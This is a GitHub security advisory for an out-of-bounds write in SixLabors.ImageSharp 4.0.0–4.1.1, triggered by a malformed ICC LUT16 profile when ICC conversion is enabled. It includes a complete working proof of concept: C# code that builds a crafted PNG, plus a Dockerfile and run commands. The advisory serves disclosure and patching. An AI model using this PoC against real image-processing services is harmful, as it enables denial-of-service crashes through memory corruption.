Skip to content

ICC LUT16 output channel count can write beyond Vector4

High
JimBobSquarePants published GHSA-ffp7-56pq-64mr Sep 15, 2026

Package

nuget SixLabors.ImageSharp (NuGet)

Affected versions

>= 4.0.0, <= 4.1.1

Patched versions

4.1.2

Description

Summary

When ICC conversion is enabled, a malformed embedded ICC LUT16 profile with
more than four output channels can corrupt memory during ImageSharp color
conversion. The ICC parser accepts up to 15 CLUT output channels, while the
conversion implementation stores intermediate values in Vector4.

Affected package and versions

  • Package: SixLabors.ImageSharp (NuGet)
  • Affected published releases: 4.0.0, 4.1.0, and 4.1.1
  • Affected range: >= 4.0.0, <= 4.1.1
  • Commit 0815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.

The reproduced ColorProfileHandling.Convert path and the unsafe Vector4 LUT operations are present in v4.0.0 and unchanged through v4.1.1. The three-output control succeeds on all three published 4.x releases; the fifteen-output exploit terminates all three.

Details

IccClut accepts one through fifteen input and output channels. In the
reproduced A2B0 LUT16 path, an attacker-controlled profile declares three
input channels and fifteen output channels. ClutCalculator.Calculate
passes a pointer to a four-float Vector4 result into interpolation code that
writes one float per declared output channel. It consequently writes fifteen
floats. The same LUT16 tag also has fifteen output LUTs; their
LutEntryCalculator.CalculateLut
implementation uses Unsafe.Add from the first float of a four-float Vector4.

An application reaches this code by decoding an image containing the profile
with DecoderOptions.ColorProfileHandling set to Convert. Preserve is the
default and does not run ICC conversion.

Reproduction environment and result

The supplied exploit and control were run against the published NuGet 4.1.1
net8.0 DLL in Docker on Debian 12 / Linux arm64 with .NET SDK 8.0.424 and
.NET runtime 8.0.30.

The control changes only the declared output-channel count from fifteen to
three and completes successfully. The exploit terminates with exit status 139
before it reaches the completion marker. This runtime PoC establishes memory
corruption in the combined LUT16 CLUT/output-LUT path; it does not isolate which
unsafe write first corrupts the stack. The full self-contained Docker PoC is
included below.

Complete control output:

mode=control output_channels=3
imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll
imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
png_bytes=204
decode_completed
Docker exit status: 0

Complete exploit output:

mode=exploit output_channels=15
imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll
imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
png_bytes=207
Docker exit status: 139

No active exploitation is known.

Impact

Applications that enable ICC conversion while processing attacker-supplied
images can be made to terminate through memory corruption in the reproduced
LUT16 CLUT/output-LUT path. This report is limited to output-channel counts
greater than four in that path; it does not claim a TRC issue or other
unreproduced ICC paths.

Complete PoC files

Program.cs:

using System;
using System.Buffers.Binary;
using System.IO;
using System.Reflection;
using System.Text;
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats;
using SixLabors.ImageSharp.Metadata.Profiles.Icc;
using SixLabors.ImageSharp.PixelFormats;

static class Program
{
    private static void U32(Stream stream, uint value)
    {
        Span<byte> bytes = stackalloc byte[4];
        BinaryPrimitives.WriteUInt32BigEndian(bytes, value);
        stream.Write(bytes);
    }

    private static void U16(Stream stream, ushort value)
    {
        Span<byte> bytes = stackalloc byte[2];
        BinaryPrimitives.WriteUInt16BigEndian(bytes, value);
        stream.Write(bytes);
    }

    private static void Fixed16(Stream stream, double value) => U32(stream, unchecked((uint)(int)Math.Round(value * 65536D)));

    // A valid-enough RGB-to-XYZ LUT16 A2B0 profile. The only exploit/control
    // difference is outCh: 15 is accepted by ICC parsing but cannot fit Vector4.
    private static byte[] BuildIcc(int outCh)
    {
        const int inCh = 3;
        const int clutPoints = 2;
        const int tableEntries = 2;
        using var stream = new MemoryStream();

        byte[] header = new byte[128];
        BinaryPrimitives.WriteUInt32BigEndian(header.AsSpan(8), 0x04300000); // ICC v4.3
        Encoding.ASCII.GetBytes("mntr").CopyTo(header, 12); // display device
        Encoding.ASCII.GetBytes("RGB ").CopyTo(header, 16);
        Encoding.ASCII.GetBytes("XYZ ").CopyTo(header, 20);
        stream.Write(header);

        U32(stream, 1);                 // one tag
        stream.Write(Encoding.ASCII.GetBytes("A2B0"));
        long offsetField = stream.Position; U32(stream, 0);
        long sizeField = stream.Position; U32(stream, 0);
        long tagStart = stream.Position;

        stream.Write(Encoding.ASCII.GetBytes("mft2"));
        U32(stream, 0);
        stream.WriteByte(inCh);
        stream.WriteByte((byte)outCh);
        stream.WriteByte(clutPoints);
        stream.WriteByte(0);
        for (int y = 0; y < 3; y++)
        {
            for (int x = 0; x < 3; x++) Fixed16(stream, x == y ? 1D : 0D);
        }

        U16(stream, tableEntries);
        U16(stream, tableEntries);
        for (int channel = 0; channel < inCh; channel++)
        {
            U16(stream, 0); U16(stream, ushort.MaxValue);
        }

        for (int point = 0; point < 8; point++)
        {
            for (int channel = 0; channel < outCh; channel++) U16(stream, 0x8000);
        }

        for (int channel = 0; channel < outCh; channel++)
        {
            U16(stream, 0); U16(stream, ushort.MaxValue);
        }

        long tagEnd = stream.Position;
        byte[] result = stream.ToArray();
        BinaryPrimitives.WriteUInt32BigEndian(result.AsSpan((int)offsetField), (uint)tagStart);
        BinaryPrimitives.WriteUInt32BigEndian(result.AsSpan((int)sizeField), (uint)(tagEnd - tagStart));
        BinaryPrimitives.WriteUInt32BigEndian(result, (uint)result.Length);
        return result;
    }

    private static byte[] BuildPng(byte[] icc)
    {
        using var source = new Image<Rgb24>(16, 16);
        source.Metadata.IccProfile = new IccProfile(icc);
        using var encoded = new MemoryStream();
        source.SaveAsPng(encoded);
        return encoded.ToArray();
    }

    public static int Main(string[] args)
    {
        string mode = args.Length == 1 ? args[0] : "exploit";
        if (mode is not ("exploit" or "control")) throw new ArgumentException("mode must be exploit or control");
        int outputChannels = mode == "exploit" ? 15 : 3;
        Console.WriteLine($"mode={mode} output_channels={outputChannels}");
        Console.WriteLine($"imagesharp_assembly={typeof(Image).Assembly.Location}");
        Console.WriteLine($"imagesharp_version={typeof(Image).Assembly.GetCustomAttribute<AssemblyInformationalVersionAttribute>()?.InformationalVersion}");
        byte[] png = BuildPng(BuildIcc(outputChannels));
        Console.WriteLine($"png_bytes={png.Length}");
        var options = new DecoderOptions { ColorProfileHandling = ColorProfileHandling.Convert };
        using Image image = Image.Load(options, png);
        Console.WriteLine("decode_completed");
        return 0;
    }
}

Project file:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>disable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
  <ItemGroup>
    <Reference Include="SixLabors.ImageSharp">
      <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>
      <Private>true</Private>
    </Reference>
    <Reference Include="System.IO.Hashing">
      <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>
      <Private>true</Private>
    </Reference>
  </ItemGroup>
</Project>

Dockerfile:

FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY ffp7.csproj Program.cs ./
# Restore only to obtain the published package. The repro project then uses a
# direct DLL reference so ImageSharp's package build target is not invoked.
RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \
    && dotnet restore fetch.csproj --nologo \
    && rm fetch.csproj \
    && dotnet build ffp7.csproj -c Release --nologo -v quiet
ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/ffp7.dll"]

Run:

docker build -t imagesharp-ffp7-poc .
docker run --rm imagesharp-ffp7-poc control
docker run --rm imagesharp-ffp7-poc exploit

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2026-106112

Weaknesses

Out-of-bounds Write

The product writes data past the end, or before the beginning, of the intended buffer. Learn more on MITRE.

Credits